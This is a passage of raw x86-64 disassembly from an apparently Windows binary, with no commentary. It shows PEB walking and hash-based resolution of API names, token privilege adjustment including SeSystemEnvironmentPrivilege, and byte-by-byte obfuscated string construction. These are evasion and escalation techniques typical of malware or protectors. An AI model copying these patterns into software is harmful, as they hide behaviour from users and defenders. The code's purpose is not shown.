imul r10d, r8d, 0x1000193
cmp r9, rbx
jne 0x14000c3c0
cmp r10d, r14d
jne 0x14000c568
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r10, rdx
mov edi, edx
shr r10, 0x20
add rdi, r11
mov qword [rbp - 0x18], r10
cmp rdi, r11
je 0x14000c568
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x14000c568
mov ecx, dword [rdi + 0x24]
mov r9d, dword [rdi + 0x1c]
mov r15d, dword [rdi + 0x20]
nop
dec ebx
lea rcx, [rcx + rbx*2]
movzx edx, word [rcx + r11]
lea rcx, [r9 + rdx*4]
mov r12d, dword [rcx + r11]
lea rcx, [r15 + rbx*4]
mov r9d, dword [rcx + r11]
add r12, r11
add r9, r11
mov qword [rbp - 0x30], r12
cmp r12, rdi
jbe 0x14000c468
lea rcx, [r10 + rdi]
cmp r12, rcx
jae 0x14000c468
mov r15b, 1
jmp 0x14000c46b
xor r15b, r15b
movzx r8d, byte [r9]
mov r10d, 0x25f69b6d
inc r9
test r8b, r8b
je 0x14000c4ac
nop dword [rax]
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x14000c480
cmp r10d, esi
je 0x14000c4d0
mov r10, qword [rbp - 0x18]
mov ecx, dword [rdi + 0x24]
mov r9d, dword [rdi + 0x1c]
mov r15d, dword [rdi + 0x20]
test ebx, ebx
jne 0x14000c430
mov rax, qword [rax]
jmp 0x14000c383
test r15b, r15b
je 0x14000c570
movzx edx, byte [r12]
mov esi, 0x25f69b6d
mov r14d, esi
cmp dl, 0x2e
je 0x14000c519
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r12 + 1]
cmova ecx, eax
inc r12
xor ecx, r14d
imul r14d, ecx, 0x1000193
cmp dl, 0x2e
jne 0x14000c4f0
movzx edx, byte [r12 + 1]
inc r12
test dl, dl
je 0x14000c557
nop word [rax + rax]
movsx eax, dl
lea r12, [r12 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r12]
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
test dl, dl
jne 0x14000c530
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14000c383
mov dword [rbp - 0x18], reloc.WS2_32.dll_recv
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r14d, 0x28
lea r9, [rbp - 0x10]
mov rcx, rax
mov edx, r14d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
lea edi, [r14 - 0x26]
test eax, eax
jne 0x14000c5cd
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3f0
jne 0x14000dd99
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 0x10]
mov edx, r14d
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000dd99
mov rcx, qword [rbp - 0x10]
lea rax, [rbp - 0x18]
mov qword [rsp + 0x28], rax
lea r8, [rbp + 0x20]
mov esi, 1
mov dword [rbp + 0x2c], edi
lea rax, [rbp - 8]
mov dword [rbp + 0x20], esi
xor edx, edx
mov qword [rbp + 0x24], reloc.WS2_32.dll_sendto
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 0xf]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp - 0x10]
lea r9d, [rsi + 0xf]
mov ebx, eax
mov qword [rbp + 0x24], 0xa
lea rax, [rbp - 0x18]
xor edx, edx
mov qword [rsp + 0x28], rax
lea r8, [rbp + 0x20]
lea rax, [rbp - 8]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test ebx, ebx
je 0x14000dd99
test eax, eax
je 0x14000dd99
xor bl, bl
mov qword [rbp - 0x18], 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 0x18]
mov edx, r14d
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000d946
xorps xmm0, xmm0
lea r8, [rbp + 0x14]
lea rdx, str.SeSystemEnvironmentPrivilege
xor ecx, ecx
movups xmmword [rbp + 0x10], xmm0
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x14000c6b4
mov rcx, qword [rbp - 0x18]
lea r8, [rbp + 0x10]
mov qword [rsp + 0x28], r13
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], r13
mov dword [rbp + 0x10], esi
mov dword [rbp + 0x1c], edi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
setne bl
xorps xmm0, xmm0
lea r8, [rbp + 0x14]
lea rdx, [0x14010b518]
xor ecx, ecx
movups xmmword [rbp + 0x10], xmm0
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x14000c6fa
mov rcx, qword [rbp - 0x18]
lea r8, [rbp + 0x10]
mov qword [rsp + 0x28], r13
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], r13
mov dword [rbp + 0x10], esi
mov dword [rbp + 0x1c], edi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
setne bl
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x14000d950
call fcn.1400092b0
test al, al
je 0x14000d37c
call fcn.140009020
test rax, rax
je 0x14000ca67
mov cl, 0xd6
mov dl, 0xec
movzx eax, cl
movzx r8d, cl
and al, 0xf6
mov r9b, 0xe2
mov r10b, 0xdc
mov r11b, 0x21
mov r12d, 0x1e
mov bl, 0xe3
sub r12b, al
mov dil, 0xd1
movzx eax, dl
add r12b, r12b
add cl, r12b
and al, 0xf7
add al, al
mov byte [rsp + 0x58], cl
mov ecx, 0x3d
mov sil, 0xd2
sub cl, al
mov r14b, 0x2c
add dl, cl
movzx eax, r8b
mov ecx, dword [rbp - 0x70]
and al, 0xf8
sub cl, al
mov byte [rsp + 0x59], dl
add cl, cl
movzx eax, r9b
add r8b, cl
and al, 0xf9
add al, al
mov byte [rsp + 0x5a], r8b
mov ecx, 0x3f
xorps xmm0, xmm0
sub cl, al
mov r15b, 0xbb
add r9b, cl
movzx eax, r10b
and al, 0xfa
mov byte [rsp + 0x5b], r9b
mov ecx, 0x20
sub cl, al
movzx eax, r11b
add cl, cl
and al, 0xfb
add r10b, cl
add al, al
mov ecx, 0x41
mov byte [rsp + 0x5c], r10b
sub cl, al
movzx eax, bl
add r11b, cl
and al, 0xfc
mov ecx, 0x21
mov byte [rsp + 0x5d], r11b
sub cl, al
movzx eax, dil
add cl, cl
and al, 0xfd
add bl, cl
add al, al
mov ecx, 0x43
mov byte [rsp + 0x5e], bl
sub cl, al
movzx eax, sil
add dil, cl
and al, 0xfe
mov ecx, 0x22
mov byte [rsp + 0x5f], dil
sub cl, al
mov eax, 0x45
add cl, cl
sub al, 0xd6
add sil, cl
mov byte [rsp + 0x61], al
add r14b, 0x46
mov byte [rsp + 0x60], sil
mov byte [rsp + 0x62], r14b
movups xmmword [rsp + 0x64], xmm0
movzx eax, r15b
mov ecx, 0x47
and al, 1
mov edx, 0x24
add al, al
sub cl, al
add r15b, cl
movd ecx, xmm0
mov byte [rsp + 0x63], r15b
movzx eax, cl
and al, 2
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x49
mov byte [rsp + 0x64], cl
movzx ecx, byte [rsp + 0x65]
movzx eax, cl
and al, 3
add al, al
sub dl, al
add cl, dl
mov edx, 0x25
mov byte [rsp + 0x65], cl
movzx ecx, byte [rsp + 0x66]
movzx eax, cl
and al, 4
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x4b
mov byte [rsp + 0x66], cl
movzx ecx, byte [rsp + 0x67]
movzx eax, cl
and al, 5
add al, al
sub dl, al
add cl, dl
mov edx, 0x26
mov byte [rsp + 0x67], cl
movzx ecx, byte [rsp + 0x68]
movzx eax, cl
and al, 6
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x4d
mov byte [rsp + 0x68], cl
movzx ecx, byte [rsp + 0x69]
movzx eax, cl
and al, 7
add al, al
sub dl, al
add cl, dl
mov edx, 0x27
mov byte [rsp + 0x69], cl
movzx ecx, byte [rsp + 0x6a]
movzx eax, cl
and al, 8
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x4f
mov byte [rsp + 0x6a], cl
movzx ecx, byte [rsp + 0x6b]
movzx eax, cl
and al, 9
add al, al
sub dl, al
add cl, dl
mov edx, 0x28
mov byte [rsp + 0x6b], cl
movzx ecx, byte [rsp + 0x6c]
movzx eax, cl
and al, 0xa
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x6c], cl
movzx ecx, byte [rsp + 0x6d]
movzx eax, cl
mov r12d, dword [rbp - 0x28]
and al, 0xb
add al, al
mov dword [rbp - 0x68], 0x6d6c6083
mov edx, 0x51
mov dword [rbp - 0x64], 0x75a6716b
sub dl, al
mov dword [rbp - 0x60], 0x7caa677d
add cl, dl
mov dword [rbp - 0x5c], 0x6a626464
mov byte [rsp + 0x6d], cl
mov edx, 0x29
movzx ecx, byte [rsp + 0x6e]
movzx eax, cl
mov dword [rbp - 0x58], 0x909394b0
and al, 0xc
mov dword [rbp - 0x54], 0xb7657cb4
sub dl, al
mov dword [rbp - 0x50], 0x75746c6a
add dl, dl
mov dword [rbp - 0x4c], 0xbe797375
add cl, dl
mov byte [rbp - 0x48], 0x20
mov byte [rsp + 0x6e], cl
mov edx, 0x53
movzx ecx, byte [rsp + 0x6f]
movzx eax, cl
and al, 0xd
add al, al
sub dl, al
add cl, dl
mov edx, 0x2a
mov byte [rsp + 0x6f], cl
movzx ecx, byte [rsp + 0x70]
movzx eax, cl
and al, 0xe
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x55
mov byte [rsp + 0x70], cl
movzx ecx, byte [rsp + 0x71]
movzx eax, cl
and al, 0xf
add al, al
sub dl, al
add cl, dl
mov edx, 0x2b
mov byte [rsp + 0x71], cl
movzx ecx, byte [rsp + 0x72]
movzx eax, cl
and al, 0x10
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x57
mov byte [rsp + 0x72], cl
movzx ecx, byte [rsp + 0x73]
movzx eax, cl
and al, 0x11
add al, al
sub dl, al
add cl, dl
xor eax, eax
mov byte [rsp + 0x73], cl
mov dword [rbp - 0x37], eax
movups xmmword [rbp - 0x47], xmm0
nop dword [rax]
movzx r8d, byte [rbp + r13 - 0x68]
lea edx, [r13 + 0x60]
movzx eax, dl
mov ecx, r12d
and al, r8b
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r13 - 0x68], cl
inc r13
cmp r13, 0x35
jb 0x14000ca20
mov r12, qword [rbp - 0x30]
lea r8, [rsp + 0x58]
mov r9d, reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x68]
xor ecx, ecx
call r12
jmp 0x14000e2fd
mov rax, qword gs:[0x60]
mov esi, 0x2428a2d8
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14000cc6a
cmp word [rax + 0x48], 0
je 0x14000cc6a
mov ecx, dword [rax + 0x58]
sub cx, 8
test r13d, r13d
je 0x14000caf3
mov r9, qword [rax + 0x60]
mov r10d, 0xc03a79c2
movzx ecx, cx
shr rcx, 1
lea rbx, [r9 + rcx*2]
cmp r9, rbx
je 0x14000caea
nop dword [rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
add r9, 2
xor r8d, r10d
imul r10d, r8d, 0x1000193
cmp r9, rbx
jne 0x14000cac0
cmp r10d, r13d
jne 0x14000cc6a
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r15, rdx
mov edi, edx
shr r15, 0x20
add rdi, r11
cmp rdi, r11
je 0x14000cc6a
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x14000cc6a
mov r12d, dword [rdi + 0x24]
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r12 + rbx*2]
movzx edx, word [rcx + r11]
lea rcx, [r9 + rdx*4]
mov edx, dword [rcx + r11]
lea rcx, [r10 + rbx*4]
mov r9d, dword [rcx + r11]
add rdx, r11
add r9, r11
mov qword [rbp - 0x10], rdx
cmp rdx, rdi
jbe 0x14000cb68
lea rcx, [r15 + rdi]
cmp rdx, rcx
jae 0x14000cb68
mov r14b, 1
jmp 0x14000cb6b
xor r14b, r14b
movzx r8d, byte [r9]
mov r10d, 0xc03a79c2
inc r9
test r8b, r8b
je 0x14000cbb0
nop dword [rax]
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x14000cb80
mov rdx, qword [rbp - 0x10]
cmp r10d, esi
je 0x14000cbcd
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
test ebx, ebx
jne 0x14000cb30
mov rax, qword [rax]
jmp 0x14000ca80
test r14b, r14b
je 0x14000cc72
movzx r8d, byte [rdx]
mov esi, 0xc03a79c2
mov r13d, esi
cmp r8b, 0x2e
je 0x14000cc1c
nop dword [rax + rax]
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
movzx r8d, byte [rdx + 1]
cmova ecx, eax
inc rdx
xor ecx, r13d
imul r13d, ecx, 0x1000193
cmp r8b, 0x2e
jne 0x14000cbf0
movzx r8d, byte [rdx + 1]
inc rdx
test r8b, r8b
je 0x14000cc59
nop dword [rax]
movsx eax, r8b
lea rdx, [rdx + 1]
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
movzx r8d, byte [rdx]
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
test r8b, r8b
jne 0x14000cc30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14000ca80
mov dl, 0xe8
mov eax, 0x88
movzx ecx, dl
mov r8b, 0xee
and cl, 0x94
mov r9b, 0xe5
add cl, cl
mov r10b, 0xe4
sub al, cl
mov r11b, 0xe9
add dl, al
movzx ecx, r8b
and cl, 0x95
mov byte [rsp + 0x30], dl
add cl, cl
mov eax, 0x89
sub al, cl
mov bl, 0xe7
add r8b, al
movzx ecx, r9b
and cl, 0x96
mov byte [rsp + 0x31], r8b
add cl, cl
mov eax, 0x8a
sub al, cl
xor r13d, r13d
add r9b, al
mov qword [rsp + 0x3b], r13
movzx ecx, r10b
mov word [rsp + 0x43], r13w
and cl, 0x97
mov byte [rsp + 0x32], r9b
add cl, cl
mov eax, 0x8b
sub al, cl
mov dil, 0xa3
add r10b, al
movzx ecx, r11b
and cl, 0x98
mov byte [rsp + 0x33], r10b
add cl, cl
mov eax, 0x8c
sub al, cl
mov sil, 0xe2
add r11b, al
movzx ecx, bl
and cl, 0x99
mov byte [rsp + 0x34], r11b
add cl, cl
mov eax, 0x8d
sub al, cl
mov r14b, 0x1c
add bl, al
movzx ecx, dil
and cl, 0x9a
mov byte [rsp + 0x35], bl
add cl, cl
mov eax, 0x8e
sub al, cl
mov r15b, 0x19
add dil, al
movzx ecx, sil
and cl, 0x9b
mov byte [rsp + 0x36], dil
add cl, cl
mov eax, 0x8f
sub al, cl
mov r12b, 0x92
add sil, al
movzx ecx, r14b
and cl, 0x9c
mov byte [rsp + 0x37], sil
add cl, cl
mov eax, 0x90
sub al, cl
movzx ecx, r15b
add r14b, al
and cl, 0x9d
add cl, cl
mov byte [rsp + 0x38], r14b
mov eax, 0x91
sub al, cl
movzx ecx, r12b
add r15b, al
and cl, 0x9e
add cl, cl
mov byte [rsp + 0x39], r15b
mov eax, 0x92
sub al, cl
movzx ecx, r13b
add r12b, al
and cl, 0x9f
add cl, cl
mov byte [rsp + 0x3a], r12b
mov eax, 0x93
sub al, cl
movzx ecx, byte [rsp + 0x3c]
lea edx, [rax + r13]
movzx eax, cl
and al, 0xa0
mov byte [rsp + 0x3b], dl
add al, al
mov edx, 0x94
sub dl, al
add cl, dl
mov edx, 0x95
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 0xa1
add al, al
sub dl, al
add cl, dl
mov edx, 0x96
mov byte [rsp + 0x3d], cl
movzx ecx, byte [rsp + 0x3e]
movzx eax, cl
and al, 0xa2
add al, al
sub dl, al
add cl, dl
mov edx, 0x97
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 0xa3
add al, al
sub dl, al
add cl, dl
mov edx, 0x98
mov byte [rsp + 0x3f], cl
movzx ecx, byte [rsp + 0x40]
movzx eax, cl
and al, 0xa4
add al, al
sub dl, al
add cl, dl
mov edx, 0x99
mov byte [rsp + 0x40], cl
movzx ecx, byte [rsp + 0x41]
movzx eax, cl
and al, 0xa5
add al, al
sub dl, al
add cl, dl
mov edx, 0x9a
mov byte [rsp + 0x41], cl
movzx ecx, byte [rsp + 0x42]
movzx eax, cl
and al, 0xa6
add al, al
sub dl, al
movzx eax, r13b
add cl, dl
and al, 0xa7
mov edx, 0x9b
mov byte [rsp + 0x42], cl
add al, al
sub dl, al
lea ecx, [rdx + r13]
mov byte [rsp + 0x43], cl
movzx ecx, byte [rsp + 0x44]
movzx eax, cl
lea r8, [rsp + 0x30]
and al, 0xa8
mov edx, 0x9c
add al, al
sub dl, al
movzx eax, r13b
add cl, dl
and al, 0xa9
mov byte [rsp + 0x44], cl
add al, al
mov ecx, 0x9d
xor edx, edx
sub cl, al
add r13b, cl
mov ecx, 0x1f0001
mov byte [rsp + 0x45], r13b
call qword [rbp - 0x10]
test rax, rax
jne 0x14000e2fd
mov rax, qword gs:[0x60]
mov r14d, 0x85901733
xor ebx, ebx
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14000d0c9
cmp word [rax + 0x48], 0
je 0x14000d0c9
mov ecx, dword [rax + 0x58]
sub cx, 8
test ebx, ebx
je 0x14000cf53
mov r9, qword [rax + 0x60]
mov r10d, 0xd44c2ee9
movzx ecx, cx
shr rcx, 1
lea rdi, [r9 + rcx*2]
cmp r9, rdi
je 0x14000cf4a
nop dword [rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
add r9, 2
xor r8d, r10d
imul r10d, r8d, 0x1000193
cmp r9, rdi
jne 0x14000cf20
cmp r10d, ebx
jne 0x14000d0c9
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r12, rdx
mov esi, edx
shr r12, 0x20
add rsi, r11
cmp rsi, r11
je 0x14000d0c9
mov edi, dword [rsi + 0x18]
test edi, edi
je 0x14000d0c9
mov edx, dword [rsi + 0x24]
mov r9d, dword [rsi + 0x1c]
mov r10d, dword [rsi + 0x20]
nop word [rax + rax]
dec edi
lea rcx, [r11 + rdi*2]
movzx edx, word [rcx + rdx]
lea rcx, [r11 + rdx*4]
mov r13d, dword [rcx + r9]
lea rcx, [r11 + rdi*4]
mov r9d, dword [rcx + r10]
add r13, r11
add r9, r11
cmp r13, rsi
jbe 0x14000cfc3
lea rcx, [r12 + rsi]
cmp r13, rcx
jae 0x14000cfc3
mov r15b, 1
jmp 0x14000cfc6
xor r15b, r15b
movzx r8d, byte [r9]
mov r10d, 0xd44c2ee9
inc r9
test r8b, r8b
je 0x14000d00c
nop dword [rax + rax]
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x14000cfe0
cmp r10d, r14d
je 0x14000d02c
mov edx, dword [rsi + 0x24]
mov r9d, dword [rsi + 0x1c]
mov r10d, dword [rsi + 0x20]
test edi, edi
jne 0x14000cf90
mov rax, qword [rax]
jmp 0x14000cee0
test r15b, r15b
je 0x14000d0d1
movzx edx, byte [r13]
mov ebx, 0xd44c2ee9
mov r14d, ebx
cmp dl, 0x2e
je 0x14000d076
nop word [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r13 + 1]
cmova ecx, eax
inc r13
xor ecx, ebx
imul ebx, ecx, 0x1000193
cmp dl, 0x2e
jne 0x14000d050
movzx edx, byte [r13 + 1]
inc r13
test dl, dl
je 0x14000d0b8
nop dword [rax]
nop word [rax + rax]
movsx eax, dl
lea r13, [r13 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r13]
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
test dl, dl
jne 0x14000d090
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14000cee0
mov cl, 0x36
mov dl, 0x30
movzx eax, cl
mov sil, 0xd2
and al, 0xcb
mov r8b, 0x39
sub byte [rbp - 0x70], al
mov r9b, 0x3a
mov eax, dword [rbp - 0x70]
mov r10b, 0x3d
add al, al
xor r12d, r12d
add cl, al
mov dword [rbp + 3], r12d
mov byte [rbp - 8], cl
movzx eax, dl
and al, 0xcc
mov word [rbp + 7], r12w
add al, al
mov ecx, 0x3f
sub cl, al
mov r11b, 0x2f
add dl, cl
movzx eax, r8b
and al, 0xcd
mov byte [rbp - 7], dl
mov ecx, 0x20
mov bl, 0x6b
sub cl, al
mov r14b, 0xd1
add cl, cl
movzx eax, r9b
add r8b, cl
and al, 0xce
add al, al
mov byte [rbp - 6], r8b
mov ecx, 0x41
mov dil, 0x28
sub cl, al
mov r15b, 0x58
add r9b, cl
movzx eax, r10b
and al, 0xcf
mov byte [rbp - 5], r9b
mov ecx, 0x21
sub cl, al
movzx eax, r11b
add cl, cl
and al, 0xd0
add r10b, cl
add al, al
mov ecx, 0x43
mov byte [rbp - 4], r10b
sub cl, al
movzx eax, bl
add r11b, cl
and al, r14b
mov ecx, 0x22
mov byte [rbp - 3], r11b
sub cl, al
movzx eax, dil
add cl, cl
and al, sil
add bl, cl
add al, al
mov ecx, 0x45
mov byte [rbp - 2], bl
sub cl, al
movzx eax, sil
add dil, cl
and al, 0xd3
mov ecx, 0x23
mov byte [rbp - 1], dil
sub cl, al
movzx eax, r14b
add cl, cl
and al, 0xd4
add sil, cl
mov ecx, 0x47
mov byte [rbp], sil
add al, al
sub cl, al
lea r8, [rbp - 8]
add r14b, cl
mov edx, 0x49
movzx eax, r15b
mov byte [rbp + 1], r14b
and al, 0xd5
mov ecx, 0x24
sub cl, al
movzx eax, r12b
and al, 0xd6
add cl, cl
add al, al
add r15b, cl
sub dl, al
mov byte [rbp + 2], r15b
lea ecx, [rdx + r12]
mov edx, 0x25
mov byte [rbp + 3], cl
movzx ecx, byte [rbp + 4]
movzx eax, cl
and al, 0xd7
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x4b
mov byte [rbp + 4], cl
movzx ecx, byte [rbp + 5]
movzx eax, cl
and al, 0xd8
add al, al
sub dl, al
add cl, dl
mov edx, 0x26
mov byte [rbp + 5], cl
movzx ecx, byte [rbp + 6]
movzx eax, cl
and al, 0xd9
sub dl, al
movzx eax, r12b
add dl, dl
and al, 0xda
add cl, dl
add al, al
mov byte [rbp + 6], cl
mov edx, 0x4d
sub dl, al
lea ecx, [rdx + r12]
mov edx, 0x27
mov byte [rbp + 7], cl
movzx ecx, byte [rbp + 8]
movzx eax, cl
and al, 0xdb
sub dl, al
movzx eax, r12b
add dl, dl
and al, 0xdc
add cl, dl
add al, al
mov byte [rbp + 8], cl
xor edx, edx
mov ecx, 0x4f
sub cl, al
add r12b, cl
xor ecx, ecx
mov byte [rbp + 9], r12b
call r13
mov rax, qword gs:[0x58]
mov ebx, 4
add rbx, qword [rax]
mov eax, dword [rbx]
cmp dword [0x140238f0c], eax
jle 0x14000d2d6
lea rcx, [0x140238f0c]
call fcn.1400c18c0
cmp dword [0x140238f0c], 0xffffffff
jne 0x14000d2d6
lea rcx, [0x1400ed590]
call fcn.1400c1bac
lea rcx, [0x140238f0c]
call fcn.1400c1854
mov rax, qword [0x140122e10]
lea rcx, [0x140122e10]
call qword [rax + reloc.WS2_32.dll_recv]
mov eax, dword [rbx]
cmp dword [0x140238f0c], eax
jle 0x14000d31e
lea rcx, [0x140238f0c]
call fcn.1400c18c0
cmp dword [0x140238f0c], 0xffffffff
jne 0x14000d31e
lea rcx, [0x1400ed590]
call fcn.1400c1bac
lea rcx, [0x140238f0c]
call fcn.1400c1854
mov rax, qword [0x140122e10]
lea rcx, [0x140122e10]
call qword [rax + 0x18]
mov eax, dword [rbx]
cmp dword [0x140238f0c], eax
jle 0x14000d366
lea rcx, [0x140238f0c]
call fcn.1400c18c0
cmp dword [0x140238f0c], 0xffffffff
jne 0x14000d366
lea rcx, [0x1400ed590]
call fcn.1400c1bac
lea rcx, [0x140238f0c]
call fcn.1400c1854
mov rax, qword [0x140122e10]
lea rcx, [0x140122e10]
call qword [rax + 0x20]
jmp 0x14000e2fd
xor eax, eax
mov dl, 0x6c
mov qword [rbp - 0x10], rax
movzx ecx, dl
and cl, 0x81
mov qword [rsp + 0x64], rax
add cl, cl
mov dword [rsp + 0x6c], eax
movzx r10d, dl
mov eax, 0xfa
sub al, cl
mov r8b, 0x6a
add dl, al
movzx ecx, r8b
and cl, 0x82
mov byte [rsp + 0x58], dl
add cl, cl
mov eax, 0xfb
sub al, cl
mov r9b, 0x78
add r8b, al
movzx ecx, r9b
and cl, 0x83
mov byte [rsp + 0x59], r8b
add cl, cl
mov eax, 0xfc
sub al, cl
mov r11b, 0x76
add r9b, al
movzx ecx, r10b
and cl, 0x84
mov byte [rsp + 0x5a], r9b
add cl, cl
mov eax, 0xfd
sub al, cl
mov bl, 0x21
add r10b, al
movzx ecx, r11b
and cl, 0x85
mov byte [rsp + 0x5b], r10b
add cl, cl
mov eax, 0xfe
sub al, cl
mov dil, 0x6b
add r11b, al
movzx ecx, bl
and cl, 0x86
mov byte [rsp + 0x5c], r11b
add cl, cl
mov eax, 0xff
sub al, cl
mov sil, 0x71
add bl, al
mov r14b, 0x70
movzx eax, dil
mov byte [rsp + 0x5d], bl
and al, 0x87
mov edx, 2
movzx eax, al
mov r15b, 0x7c
imul ecx, eax, 0xfe
mov r12b, 0x72
mov eax, 1
mov r13b, 0xb
add dil, cl
movzx ecx, sil
and cl, 0x88
mov byte [rsp + 0x5e], dil
add cl, cl
sub al, cl
movzx ecx, r14b
add sil, al
and cl, 0x89
add cl, cl
mov byte [rsp + 0x5f], sil
mov eax, edx
sub al, cl
movzx ecx, r15b
add r14b, al
mov byte [rsp + 0x60], r14b
and cl, 0x8a
mov r8, qword [rbp - 0x10]
add cl, cl
mov r9d, 3
mov r10d, 5
mov eax, r9d
sub al, cl
mov ecx, edx
add r15b, al
movzx eax, r12b
and al, 0x8b
mov byte [rsp + 0x61], r15b
sub cl, al
mov eax, r10d
add cl, cl
add r12b, cl
movzx ecx, r13b
and cl, 0x8c
mov byte [rsp + 0x62], r12b
add cl, cl
sub al, cl
mov ecx, r9d
add r13b, al
mov r9d, 7
movzx eax, r8b
mov byte [rsp + 0x63], r13b
and al, 0x8d
sub cl, al
mov eax, r9d
add cl, cl
lea edx, [rcx + r8]
mov byte [rsp + 0x64], dl
movzx edx, byte [rsp + 0x65]
movzx ecx, dl
and cl, 0x8e
add cl, cl
sub al, cl
mov ecx, 4
add dl, al
mov byte [rsp + 0x65], dl
movzx edx, byte [rsp + 0x66]
movzx eax, dl
and al, 0x8f
sub cl, al
mov eax, 9
add cl, cl
add dl, cl
mov byte [rsp + 0x66], dl
movzx edx, byte [rsp + 0x67]
movzx ecx, dl
and cl, 0x90
add cl, cl
sub al, cl
mov ecx, r10d
add dl, al
mov byte [rsp + 0x67], dl
movzx edx, byte [rsp + 0x68]
movzx eax, dl
and al, 0x91
sub cl, al
mov eax, 0xb
add cl, cl
add dl, cl
mov byte [rsp + 0x68], dl
movzx edx, byte [rsp + 0x69]
movzx ecx, dl
and cl, 0x92
add cl, cl
sub al, cl
mov ecx, 6
add dl, al
mov byte [rsp + 0x69], dl
movzx edx, byte [rsp + 0x6a]
movzx eax, dl
and al, 0x93
sub cl, al
add cl, cl
add dl, cl
mov byte [rsp + 0x6a], dl
movzx edx, byte [rsp + 0x6b]
movzx ecx, dl
and cl, 0x94
add cl, cl
mov eax, recvfrom
sub al, cl
mov r10b, 0x91
add dl, al
mov ecx, r9d
mov byte [rsp + 0x6b], dl
movzx eax, r8b
movzx edx, byte [rsp + 0x6d]
and al, 0x95
sub cl, al
mov r9b, 0x8f
add cl, cl
mov eax, recvfrom
add r8b, cl
mov r12b, 0xb5
movzx ecx, dl
